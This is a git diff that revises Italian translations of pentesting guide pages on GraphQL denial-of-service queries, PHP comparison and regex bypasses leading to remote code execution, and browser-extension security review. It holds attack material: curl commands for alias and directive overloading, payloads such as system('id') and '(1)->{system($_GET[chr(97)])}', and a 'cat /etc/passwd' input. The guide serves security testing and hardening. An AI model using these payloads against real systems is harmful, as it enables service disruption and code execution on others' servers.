 ```bash
 # Example of a request utilizing aliased queries to check for valid discount codes
 query isValidDiscount($code: Int) {
@@ -488,14 +490,14 @@ valid
 
 ### Alias Overloading
 
-**Alias Overloading** è una vulnerabilità di GraphQL in cui gli attaccanti sovraccaricano una query con molti alias per lo stesso campo, causando l'esecuzione ripetuta di quel campo da parte del risolutore backend. Questo può sovraccaricare le risorse del server, portando a un **Denial of Service (DoS)**. Ad esempio, nella query sottostante, lo stesso campo (`expensiveField`) viene richiesto 1.000 volte utilizzando alias, costringendo il backend a calcolarlo 1.000 volte, potenzialmente esaurendo la CPU o la memoria:
+**Alias Overloading** è una vulnerabilità di GraphQL in cui gli attaccanti sovraccaricano una query con molti alias per lo stesso campo, causando l'esecuzione ripetuta di quel campo da parte del risolutore backend. Questo può sovraccaricare le risorse del server, portando a un **Denial of Service (DoS)**. Ad esempio, nella query sottostante, lo stesso campo (`expensiveField`) viene richiesto 1.000 volte utilizzando alias, costringendo il backend a calcolarlo 1.000 volte, potenzialmente esaurendo CPU o memoria:
 ```graphql
 # Test provided by https://github.com/dolevf/graphql-cop
 curl -X POST -H "Content-Type: application/json" \
 -d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \
 'https://example.com/graphql'
 ```
-Per mitigare questo, implementa limiti sul conteggio degli alias, analisi della complessità delle query o limitazione della velocità per prevenire l'abuso delle risorse.
+Per mitigare questo, implementa limiti sul conteggio degli alias, analisi della complessità delle query o limitazione della frequenza per prevenire l'abuso delle risorse.
 
 ### **Batching delle Query Basato su Array**
 
@@ -511,7 +513,7 @@ In questo esempio, 10 diverse query vengono raggruppate in una sola richiesta, c
 
 ### **Vulnerabilità da Sovraccarico di Direttive**
 
-**Sovraccarico di Direttive** si verifica quando un server GraphQL consente query con direttive eccessive e duplicate. Questo può sopraffare il parser e l'esecutore del server, specialmente se il server elabora ripetutamente la stessa logica di direttiva. Senza una valida validazione o limiti, un attaccante può sfruttare questo creando una query con numerose direttive duplicate per attivare un elevato utilizzo computazionale o di memoria, portando a **Denial of Service (DoS)**.
+**Sovraccarico di Direttive** si verifica quando un server GraphQL consente query con direttive eccessive e duplicate. Questo può sopraffare il parser e l'esecutore del server, specialmente se il server elabora ripetutamente la stessa logica di direttiva. Senza una corretta validazione o limiti, un attaccante può sfruttare questo creando una query con numerose direttive duplicate per attivare un elevato utilizzo computazionale o di memoria, portando a **Denial of Service (DoS)**.
 ```bash
 # Test provided by https://github.com/dolevf/graphql-cop
 curl -X POST -H "User-Agent: graphql-cop/1.13" \

src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md

@@ -21,7 +21,7 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
 ```
 ## Bypassare i confronti PHP
 
-### Confronti laschi/Type Juggling ( == )
+### Confronti deboli/Type Juggling ( == )
 
 Se `==` viene utilizzato in PHP, ci sono casi inaspettati in cui il confronto non si comporta come previsto. Questo perché "==" confronta solo i valori trasformati nello stesso tipo, se vuoi anche confrontare che il tipo dei dati confrontati sia lo stesso devi usare `===`.
 
@@ -69,11 +69,11 @@ Anche se `===` è **utilizzato**, potrebbero esserci errori che rendono la **com
 ```
 ### preg_match(/^.\*/)
 
-**`preg_match()`** potrebbe essere utilizzato per **validare l'input dell'utente** (controlla se qualche **parola/regex** da una **lista nera** è **presente** nell'**input dell'utente** e se non lo è, il codice può continuare la sua esecuzione).
+**`preg_match()`** può essere utilizzato per **validare l'input dell'utente** (controlla se qualche **parola/regex** da una **lista nera** è **presente** nell'**input dell'utente** e se non lo è, il codice può continuare la sua esecuzione).
 
 #### Bypass della nuova riga
 
-Tuttavia, quando si delimita l'inizio della regexp `preg_match()` **controlla solo la prima riga dell'input dell'utente**, quindi se in qualche modo puoi **inviare** l'input in **più righe**, potresti essere in grado di bypassare questo controllo. Esempio:
+Tuttavia, quando si delimita l'inizio della regexp, `preg_match()` **controlla solo la prima riga dell'input dell'utente**, quindi se in qualche modo puoi **inviare** l'input in **più righe**, potresti essere in grado di bypassare questo controllo. Esempio:
 ```php
 $myinput="aaaaaaa
 11111111"; //Notice the new line
@@ -86,7 +86,7 @@ echo preg_match("/^.*1/",$myinput);
 echo preg_match("/^.*1.*$/",$myinput);
 //0  --> In this scenario preg_match DOESN'T find the char "1"
 ```
-Per bypassare questo controllo, puoi **inviare il valore con nuove righe urlencoded** (`%0A`) oppure, se puoi inviare **dati JSON**, invialo in **diverse righe**:
+Per bypassare questo controllo, puoi **inviare il valore con nuove righe urlencoded** (`%0A`) oppure, se puoi inviare **dati JSON**, invialo in **più righe**:
 ```php
 {
 "cmd": "cat /etc/passwd"
@@ -115,7 +115,7 @@ In breve, il problema si verifica perché le funzioni `preg_*` in PHP si basano
 **Inviare un input che avrebbe fatto fare 100_000+ ricorsioni all'espressione regolare, causando SIGSEGV, facendo restituire alla funzione `preg_match()` `false`, facendo così pensare all'applicazione che il nostro input non è malevolo, lanciando la sorpresa alla fine del payload qualcosa come `{system(<verybadcommand>)}` per ottenere SSTI --> RCE --> flag :)**.
 
 Bene, in termini di regex, in realtà non stiamo facendo 100k "ricorsioni", ma stiamo contando i "passi di backtracking", che come afferma la [documentazione PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) è impostata di default a 1_000_000 (1M) nella variabile `pcre.backtrack_limit`.\ 
-Per raggiungere questo, `'X'*500_001` risulterà in 1 milione di passi di backtracking (500k in avanti e 500k all'indietro):
+Per raggiungere questo, `'X'*500_001` risulterà in 1 milione di passi di backtracking (500k in avanti e 500k indietro):
 ```python
 payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
 ```
@@ -156,11 +156,11 @@ Check:
 - I **cookie PHPSESSION dello stesso dominio sono memorizzati nello stesso posto**, quindi se all'interno di un dominio **cookie diversi sono utilizzati in percorsi diversi** puoi fare in modo che un percorso **acceda al cookie dell'altro percorso** impostando il valore del cookie dell'altro percorso.\
 In questo modo, se **entrambi i percorsi accedono a una variabile con lo stesso nome** puoi fare in modo che il **valore di quella variabile in path1 si applichi a path2**. E poi path2 considererà validi le variabili di path1 (dando al cookie il nome che corrisponde a esso in path2).
 - Quando hai i **nomi utente** degli utenti della macchina. Controlla l'indirizzo: **/\~\<USERNAME>** per vedere se le directory php sono attivate.
-- [**LFI and RCE using php wrappers**](../../../pentesting-web/file-inclusion/)
+- [**LFI and RCE using php wrappers**](../../../pentesting-web/file-inclusion/index.html)
 
 ### password_hash/password_verify
 
-Queste funzioni sono tipicamente utilizzate in PHP per **generare hash da password** e per **verificare** se una password è corretta rispetto a un hash.\
+Queste funzioni sono tipicamente utilizzate in PHP per **generare hash dalle password** e per **verificare** se una password è corretta rispetto a un hash.\
 Gli algoritmi supportati sono: `PASSWORD_DEFAULT` e `PASSWORD_BCRYPT` (inizia con `$2y$`). Nota che **PASSWORD_DEFAULT è frequentemente lo stesso di PASSWORD_BCRYPT.** E attualmente, **PASSWORD_BCRYPT** ha una **limitazione di dimensione nell'input di 72byte**. Pertanto, quando provi a fare hash di qualcosa di più grande di 72byte con questo algoritmo, verranno utilizzati solo i primi 72B:
 ```php
 $cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
@@ -183,7 +183,7 @@ if (isset($_GET["xss"])) echo $_GET["xss"];
 ```
 #### Riempire un corpo prima di impostare le intestazioni
 
-Se una **pagina PHP sta stampando errori e restituendo alcuni input forniti dall'utente**, l'utente può far stampare al server PHP un **contenuto sufficientemente lungo** in modo che quando cerca di **aggiungere le intestazioni** nella risposta, il server generi un errore.\
+Se una **pagina PHP sta stampando errori e restituendo alcuni input forniti dall'utente**, l'utente può far stampare al server PHP un **contenuto sufficientemente lungo** in modo che, quando cerca di **aggiungere le intestazioni** nella risposta, il server generi un errore.\
 Nello scenario seguente, **l'attaccante ha fatto generare al server alcuni grandi errori**, e come puoi vedere nello schermo, quando PHP ha cercato di **modificare le informazioni dell'intestazione, non ci è riuscito** (quindi, ad esempio, l'intestazione CSP non è stata inviata all'utente):
 
 ![](<../../../images/image (1085).png>)
@@ -202,7 +202,7 @@ php-ssrf.md
 &#xNAN;**\`ls\`;**\
 **shell_exec("ls");**
 
-[Controlla questo per altre funzioni PHP utili](php-useful-functions-disable_functions-open_basedir-bypass/)
+[Controlla questo per altre utili funzioni PHP](php-useful-functions-disable_functions-open_basedir-bypass/index.html)
 
 ### **RCE tramite** **preg_replace()**
 ```php
@@ -233,7 +233,7 @@ Dovrai **rompere** la **sintassi** del codice, **aggiungere** il tuo **payload**
 
 **Altra opzione** (se hai il codice interno) è modificare alcune variabili per alterare l'esecuzione: `$file = "hola"`
 
-### **RCE via usort()**
+### **RCE tramite usort()**
 
 Questa funzione viene utilizzata per ordinare un array di elementi utilizzando una funzione specifica.\
 Per abusare di questa funzione:
@@ -311,13 +311,13 @@ phpinfo();
 ## PHP Sanitization bypass & Brain Fuck
 
 [**In questo post**](https://blog.redteam-pentesting.de/2024/moodle-rce/) è possibile trovare ottime idee per generare un codice PHP brain fuck con pochissimi caratteri consentiti.\
-Inoltre, viene proposta anche un'interessante modalità per eseguire funzioni che consentono di bypassare diversi controlli:
+Inoltre viene proposta anche un'interessante modalità per eseguire funzioni che consentono di bypassare diversi controlli:
 ```php
 (1)->{system($_GET[chr(97)])}
 ```
 ## Analisi statica di PHP
 
-Guarda se puoi inserire codice nelle chiamate a queste funzioni (da [qui](https://www.youtube.com/watch?v=SyWUsN0yHKI&feature=youtu.be)):
+Controlla se puoi inserire codice nelle chiamate a queste funzioni (da [qui](https://www.youtube.com/watch?v=SyWUsN0yHKI&feature=youtu.be)):
 ```php
 exec, shell_exec, system, passthru, eval, popen
 unserialize, include, file_put_cotents

src/pentesting-web/browser-extension-pentesting-methodology/README.md

@@ -2,40 +2,40 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Informazioni di base
+## Informazioni di Base
 
 Le estensioni del browser sono scritte in JavaScript e caricate dal browser in background. Hanno il loro [DOM](https://www.w3schools.com/js/js_htmldom.asp) ma possono interagire con i DOM di altri siti. Questo significa che possono compromettere la riservatezza, l'integrità e la disponibilità (CIA) di altri siti.
 
-## Componenti principali
+## Componenti Principali
 
 I layout delle estensioni appaiono meglio quando visualizzati e consistono in tre componenti. Esaminiamo ciascun componente in dettaglio.
 
 <figure><img src="../../images/image (16) (1) (1).png" alt=""><figcaption><p><a href="http://webblaze.cs.berkeley.edu/papers/Extensions.pdf">http://webblaze.cs.berkeley.edu/papers/Extensions.pdf</a></p></figcaption></figure>
 
-### **Script di contenuto**
+### **Script di Contenuto**
 
 Ogni script di contenuto ha accesso diretto al DOM di una **singola pagina web** ed è quindi esposto a **input potenzialmente dannosi**. Tuttavia, lo script di contenuto non contiene permessi se non la possibilità di inviare messaggi al core dell'estensione.
 
-### **Core dell'estensione**
+### **Core dell'Estensione**
 
 Il core dell'estensione contiene la maggior parte dei privilegi/accessi dell'estensione, ma il core dell'estensione può interagire con i contenuti web solo tramite [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) e script di contenuto. Inoltre, il core dell'estensione non ha accesso diretto alla macchina host.
 
-### **Binario nativo**
+### **Binary Nativo**
 
-L'estensione consente un binario nativo che può **accedere alla macchina host con i privilegi completi dell'utente.** Il binario nativo interagisce con il core dell'estensione attraverso l'interfaccia di programmazione delle applicazioni standard Netscape Plugin ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) utilizzata da Flash e altri plug-in del browser.
+L'estensione consente un binary nativo che può **accedere alla macchina host con i privilegi completi dell'utente.** Il binary nativo interagisce con il core dell'estensione attraverso l'interfaccia di programmazione delle applicazioni standard Netscape Plugin ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) utilizzata da Flash e altri plugin del browser.
 
 ### Confini
 
 > [!CAUTION]
-> Per ottenere i privilegi completi dell'utente, un attaccante deve convincere l'estensione a passare input dannosi dallo script di contenuto al core dell'estensione e dal core dell'estensione al binario nativo.
+> Per ottenere i privilegi completi dell'utente, un attaccante deve convincere l'estensione a passare input dannosi dallo script di contenuto al core dell'estensione e dal core dell'estensione al binary nativo.
 
-Ogni componente dell'estensione è separato dagli altri da **forti confini protettivi**. Ogni componente viene eseguito in un **processo di sistema operativo separato**. Gli script di contenuto e i core delle estensioni vengono eseguiti in **processi sandbox** non disponibili per la maggior parte dei servizi del sistema operativo.
+Ogni componente dell'estensione è separato dagli altri da **forti confini protettivi**. Ogni componente viene eseguito in un **processo di sistema operativo separato**. Gli script di contenuto e i core delle estensioni vengono eseguiti in **processi sandbox** non disponibili per la maggior parte dei servizi di sistema operativo.
 
 Inoltre, gli script di contenuto sono separati dalle loro pagine web associate **eseguendo in un heap JavaScript separato**. Lo script di contenuto e la pagina web hanno **accesso allo stesso DOM sottostante**, ma i due **non scambiano mai puntatori JavaScript**, prevenendo la fuoriuscita di funzionalità JavaScript.
 
 ## **`manifest.json`**
 
-Un'estensione di Chrome è semplicemente una cartella ZIP con un'estensione di file [.crx](https://www.lifewire.com/crx-file-2620391). Il core dell'estensione è il file **`manifest.json`** nella radice della cartella, che specifica layout, permessi e altre opzioni di configurazione.
+Un'estensione di Chrome è semplicemente una cartella ZIP con un [.crx file extension](https://www.lifewire.com/crx-file-2620391). Il core dell'estensione è il file **`manifest.json`** nella radice della cartella, che specifica layout, permessi e altre opzioni di configurazione.
 
 Esempio:
 ```json
@@ -61,7 +61,7 @@ Esempio:
 ```
 ### `content_scripts`
 
-I contenuti degli script vengono **caricati** ogni volta che l'utente **naviga a una pagina corrispondente**, nel nostro caso qualsiasi pagina che corrisponde all'espressione **`https://example.com/*`** e non corrisponde all'espressione regex **`*://*/*/business*`**. Vengono eseguiti **come gli script della pagina** e hanno accesso arbitrario al [Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model) della pagina.
+I contenuti degli script vengono **caricati** ogni volta che l'utente **naviga su una pagina corrispondente**, nel nostro caso qualsiasi pagina che corrisponde all'espressione **`https://example.com/*`** e non corrisponde all'espressione regex **`*://*/*/business*`**. Vengono eseguiti **come gli script della pagina** e hanno accesso arbitrario al [Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model) della pagina.
 ```json
 "content_scripts": [
 {
@@ -94,7 +94,7 @@ document.body.appendChild(div)
 Un messaggio viene inviato alle pagine dell'estensione dallo script di contenuto quando questo pulsante viene cliccato, attraverso l'utilizzo dell'[**API runtime.sendMessage()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). Questo è dovuto alla limitazione dello script di contenuto nell'accesso diretto alle API, con `storage` che è tra le poche eccezioni. Per funzionalità oltre queste eccezioni, i messaggi vengono inviati alle pagine dell'estensione con cui gli script di contenuto possono comunicare.
 
 > [!WARNING]
-> A seconda del browser, le capacità dello script di contenuto possono variare leggermente. Per i browser basati su Chromium, l'elenco delle capacità è disponibile nella [documentazione degli sviluppatori di Chrome](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), e per Firefox, il [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) funge da fonte principale.\
+> A seconda del browser, le capacità dello script di contenuto possono variare leggermente. Per i browser basati su Chromium, l'elenco delle capacità è disponibile nella [documentazione di Chrome Developers](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), e per Firefox, il [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) funge da fonte principale.\
 > È anche degno di nota che gli script di contenuto hanno la capacità di comunicare con gli script di background, consentendo loro di eseguire azioni e trasmettere risposte.
 
 Per visualizzare e fare debug degli script di contenuto in Chrome, il menu degli strumenti per sviluppatori di Chrome può essere accesso da Opzioni > Altri strumenti > Strumenti per sviluppatori O premendo Ctrl + Shift + I.
@@ -104,9 +104,9 @@ Una volta visualizzati gli strumenti per sviluppatori, è necessario cliccare su
 ### Script di contenuto iniettati
 
 > [!TIP]
-> Nota che **gli Script di Contenuto non sono obbligatori** poiché è anche possibile **iniettare dinamicamente** script e **iniettarli programmaticamente** nelle pagine web tramite **`tabs.executeScript`**. Questo fornisce in realtà un controllo più **granulare**.
+> Nota che **gli script di contenuto non sono obbligatori** poiché è anche possibile **iniettare dinamicamente** script e **iniettarli programmaticamente** nelle pagine web tramite **`tabs.executeScript`**. Questo fornisce in realtà **controlli più granulari**.
 
-Per l'iniezione programmatica di uno script di contenuto, l'estensione deve avere [permessi host](https://developer.chrome.com/docs/extensions/reference/permissions) per la pagina in cui gli script devono essere iniettati. Questi permessi possono essere ottenuti sia **richiedendoli** all'interno del manifesto dell'estensione o su base temporanea tramite [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab).
+Per l'iniezione programmatica di uno script di contenuto, l'estensione deve avere [permessi di host](https://developer.chrome.com/docs/extensions/reference/permissions) per la pagina in cui gli script devono essere iniettati. Questi permessi possono essere ottenuti sia **richiedendoli** all'interno del manifesto dell'estensione o su base temporanea tramite [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab).
 
 #### Esempio di estensione basata su activeTab
 ```json:manifest.json
@@ -239,7 +239,7 @@ Le estensioni del browser possono contenere vari tipi di pagine:
 
 - Le **pagine di azione** vengono visualizzate in un **menu a discesa quando si fa clic sull'icona dell'estensione**.
 - Pagine che l'estensione **caricherà in una nuova scheda**.
-- **Pagine delle opzioni**: Questa pagina viene visualizzata sopra l'estensione quando viene cliccata. Nel manifesto precedente, nel mio caso, sono riuscito ad accedere a questa pagina in `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` o cliccando:
+- **Pagine delle opzioni**: Questa pagina viene visualizzata sopra l'estensione quando viene cliccata. Nel manifest precedente, nel mio caso, sono riuscito ad accedere a questa pagina in `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` o cliccando:
 
 <figure><img src="../../images/image (24).png" alt="" width="375"><figcaption></figcaption></figure>
 
@@ -262,7 +262,7 @@ browext-permissions-and-host_permissions.md
 
 ### `content_security_policy`
 
-Una **politica di sicurezza dei contenuti** può essere dichiarata anche all'interno del `manifest.json`. Se ce n'è una definita, potrebbe essere **vulnerabile**.
+Una **politica di sicurezza dei contenuti** può essere dichiarata anche all'interno del `manifest.json`. Se ne è definita una, potrebbe essere **vulnerabile**.
 
 L'impostazione predefinita per le pagine delle estensioni del browser è piuttosto restrittiva:
 ```bash
@@ -317,15 +317,15 @@ browext-clickjacking.md
 > Consentire a queste pagine di essere caricate solo dall'estensione e non da URL casuali potrebbe prevenire attacchi di ClickJacking.
 
 > [!CAUTION]
-> Nota che le pagine da **`web_accessible_resources`** e altre pagine dell'estensione sono anche in grado di **contattare script di background**. Quindi, se una di queste pagine è vulnerabile a **XSS**, potrebbe aprire una vulnerabilità maggiore.
+> Nota che le pagine da **`web_accessible_resources`** e altre pagine dell'estensione sono anche in grado di **contattare script di background**. Quindi, se una di queste pagine è vulnerabile a **XSS**, potrebbe aprire una vulnerabilità più grande.
 >
 > Inoltre, nota che puoi aprire solo le pagine indicate in **`web_accessible_resources`** all'interno di iframe, ma da una nuova scheda è possibile accedere a qualsiasi pagina nell'estensione conoscendo l'ID dell'estensione. Pertanto, se viene trovata una XSS abusando degli stessi parametri, potrebbe essere abusata anche se la pagina non è configurata in **`web_accessible_resources`**.
 
 ### `externally_connectable`
 
-Secondo le [**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable), La proprietà di manifest `"externally_connectable"` dichiara **quali estensioni e pagine web possono connettersi** alla tua estensione tramite [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) e [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage).
+Secondo le [**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable), La proprietà del manifesto `"externally_connectable"` dichiara **quali estensioni e pagine web possono connettersi** alla tua estensione tramite [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) e [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage).
 
-- Se la chiave **`externally_connectable`** **non** è dichiarata nel manifest della tua estensione o è dichiarata come **`"ids": ["*"]`**, **tutte le estensioni possono connettersi, ma nessuna pagina web può connettersi**.
+- Se la chiave **`externally_connectable`** **non** è dichiarata nel manifesto della tua estensione o è dichiarata come **`"ids": ["*"]`**, **tutte le estensioni possono connettersi, ma nessuna pagina web può connettersi**.
 - Se **ID specifici sono specificati**, come in `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **solo quelle applicazioni** possono connettersi.
 - Se sono specificati **matches**, quelle app web saranno in grado di connettersi:
 ```json
@@ -455,7 +455,7 @@ Una comunicazione sicura tramite Post Message dovrebbe controllare l'autenticit
 - **`event.isTrusted`**: Questo è True solo se l'evento è stato attivato da un'azione dell'utente
 - Lo script di contenuto potrebbe aspettarsi un messaggio solo se l'utente esegue qualche azione
 - **dominio di origine**: potrebbe aspettarsi un messaggio solo da un elenco di domini autorizzati.
-- Se viene utilizzata una regex, fai molta attenzione
+- Se viene utilizzata una regex, fare molta attenzione
 - **Fonte**: `received_message.source !== window` può essere utilizzato per controllare se il messaggio proviene **dalla stessa finestra** in cui lo Script di Contenuto sta ascoltando.
 
 I controlli precedenti, anche se eseguiti, potrebbero essere vulnerabili, quindi controlla nella seguente pagina **potenziali bypass di Post Message**:
@@ -529,7 +529,7 @@ Quando si creano nuove estensioni, la preferenza dovrebbe essere per le promesse
 
 ## Native Messaging
 
-Le estensioni del browser consentono anche di comunicare con **binaries nel sistema tramite stdin**. L'applicazione deve installare un json che lo indica in un json come:
+Le estensioni del browser consentono anche di comunicare con **binaries nel sistema tramite
 ```json
 {
 "name": "com.my_company.my_application",
@@ -563,7 +563,7 @@ In [**questo post del blog**](https://spaceraccoon.dev/universal-code-execution-
 3. Lo script di background passa il messaggio all'applicazione nativa utilizzando `sendNativeMessage`.
 4. L'applicazione nativa gestisce il messaggio in modo pericoloso, portando all'esecuzione di codice.
 
-E all'interno di esso viene spiegato un esempio di **passare da qualsiasi pagina a RCE sfruttando un'estensione del browser**.
+E all'interno di esso viene spiegato un esempio di **come passare da qualsiasi pagina a RCE sfruttando un'estensione del browser**.
 
 ## Informazioni Sensibili in Memoria/Codice/Clipboard
 
@@ -575,13 +575,13 @@ Naturalmente, **non mettere informazioni sensibili nel codice**, poiché saranno
 
 Per estrarre la memoria dal browser, puoi **estrarre la memoria del processo** oppure andare nelle **impostazioni** dell'estensione del browser cliccando su **`Ispeziona pop-up`** -> Nella sezione **`Memoria`** -> **`Prendi uno snapshot`** e **`CTRL+F`** per cercare all'interno dello snapshot informazioni sensibili.
 
-Inoltre, informazioni altamente sensibili come chiavi mnemoniche o password **non dovrebbero essere consentite per essere copiate negli appunti** (o almeno rimuoverle dagli appunti dopo pochi secondi) perché i processi che monitorano gli appunti potrebbero ottenerle.
+Inoltre, informazioni altamente sensibili come chiavi mnemoniche o password **non dovrebbero poter essere copiate negli appunti** (o almeno rimuoverle dagli appunti dopo pochi secondi) perché poi i processi che monitorano gli appunti saranno in grado di ottenerle.
 
 ## Caricamento di un'Estensione nel Browser
 
 1. **Scarica** l'estensione del browser e decomprimila.
 2. Vai su **`chrome://extensions/`** e **abilita** la `Modalità Sviluppatore`.
-3. Clicca sul pulsante **`Carica non impacchettata`**.
+3. Clicca sul pulsante **`Carica estensione non pacchettizzata`**.
 
 In **Firefox** vai su **`about:debugging#/runtime/this-firefox`** e clicca sul pulsante **`Carica componente aggiuntivo temporaneo`**.
 
@@ -589,9 +589,9 @@ In **Firefox** vai su **`about:debugging#/runtime/this-firefox`** e clicca sul p
 
 Il codice sorgente di un'estensione Chrome può essere ottenuto attraverso vari metodi. Di seguito sono fornite spiegazioni dettagliate e istruzioni per ciascuna opzione.
 
-### Scarica l'estensione come ZIP tramite linea di comando
+### Scarica l'Estensione come ZIP tramite Command Line
 
-Il codice sorgente di un'estensione Chrome può essere scaricato come file ZIP utilizzando la linea di comando. Questo comporta l'uso di `curl` per recuperare il file ZIP da un URL specifico e poi estrarre il contenuto del file ZIP in una directory. Ecco i passaggi:
+Il codice sorgente di un'estensione Chrome può essere scaricato come file ZIP utilizzando la riga di comando. Questo comporta l'uso di `curl` per recuperare il file ZIP da un URL specifico e poi estrarre il contenuto del file ZIP in una directory. Ecco i passaggi:
 
 1. Sostituisci `"extension_id"` con l'ID reale dell'estensione.
 2. Esegui i seguenti comandi:
@@ -636,29 +636,29 @@ Per cercare di individuare estensioni del browser vulnerabili, puoi utilizzare i
 # Query example from https://spaceraccoon.dev/universal-code-execution-browser-extensions/
 node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.length > 0 && manifest.permissions?.includes('nativeMessaging')"
 ```
-## Elenco di Controllo per la Verifica della Sicurezza
+## Elenco di Controllo per Audit di Sicurezza
 
-Anche se le Estensioni del Browser hanno una **superficie di attacco limitata**, alcune di esse potrebbero contenere **vulnerabilità** o **miglioramenti potenziali**. Le seguenti sono le più comuni:
+Anche se le Estensioni del Browser hanno una **superficie di attacco limitata**, alcune di esse potrebbero contenere **vulnerabilità** o **miglioramenti potenziali di indurimento**. Le seguenti sono le più comuni:
 
 - [ ] **Limitare** il più possibile le **`permissions`** richieste
 - [ ] **Limitare** il più possibile le **`host_permissions`**
 - [ ] Utilizzare una **forte** **`content_security_policy`**
 - [ ] **Limitare** il più possibile il **`externally_connectable`**, se non è necessario e possibile, non lasciarlo di default, specificare **`{}`**
-- [ ] Se è menzionato qui un **URL vulnerabile a XSS o a takeover**, un attaccante sarà in grado di **inviare messaggi agli script di background direttamente**. Bypass molto potente.
+- [ ] Se qui è menzionato un **URL vulnerabile a XSS o a takeover**, un attaccante sarà in grado di **inviare messaggi agli script di background direttamente**. Bypass molto potente.
 - [ ] **Limitare** il più possibile le **`web_accessible_resources`**, anche vuote se possibile.
 - [ ] Se le **`web_accessible_resources`** non sono nessuna, controllare per [**ClickJacking**](browext-clickjacking.md)
-- [ ] Se avviene qualsiasi **comunicazione** dall'**estensione** alla **pagina web**, [**controllare per XSS**](browext-xss-example.md) **vulnerabilità** causate nella comunicazione.
-- [ ] Se vengono utilizzati Post Messages, controllare per [**vulnerabilità di Post Message**](../postmessage-vulnerabilities/)**.**
+- [ ] Se avviene qualche **comunicazione** dall'**estensione** alla **pagina web**, [**controllare per XSS**](browext-xss-example.md) **vulnerabilità** causate nella comunicazione.
+- [ ] Se vengono utilizzati Post Messages, controllare per [**vulnerabilità di Post Message**](../postmessage-vulnerabilities/index.html)**.**
 - [ ] Se il **Content Script accede ai dettagli del DOM**, controllare che non **stia introducendo un XSS** se viene **modificato** dal web
 - [ ] Fare particolare attenzione se questa comunicazione è coinvolta anche nella **comunicazione Content Script -> Background script**
 - [ ] Se lo script di background comunica tramite **native messaging**, controllare che la comunicazione sia sicura e sanificata
-- [ ] **Le informazioni sensibili non dovrebbero essere memorizzate** all'interno del codice dell'Estensione del Browser
-- [ ] **Le informazioni sensibili non dovrebbero essere memorizzate** all'interno della memoria dell'Estensione del Browser
-- [ ] **Le informazioni sensibili non dovrebbero essere memorizzate** all'interno del **file system non protetto**
+- [ ] **Informazioni sensibili non dovrebbero essere memorizzate** all'interno del codice dell'Estensione del Browser
+- [ ] **Informazioni sensibili non dovrebbero essere memorizzate** all'interno della memoria dell'Estensione del Browser
+- [ ] **Informazioni sensibili non dovrebbero essere memorizzate** all'interno del **file system non protetto**
 
 ## Rischi delle Estensioni del Browser
 
-- L'app [https://crxaminer.tech/](https://crxaminer.tech/) analizza alcuni dati come le autorizzazioni richieste dall'estensione del browser per fornire un livello di rischio nell'utilizzo dell'estensione del browser.
+- L'app [https://crxaminer.tech/](https://crxaminer.tech/) analizza alcuni dati come le autorizzazioni richieste dall'estensione del browser per fornire un livello di rischio nell'uso dell'estensione del browser.
 
 ## Strumenti
 
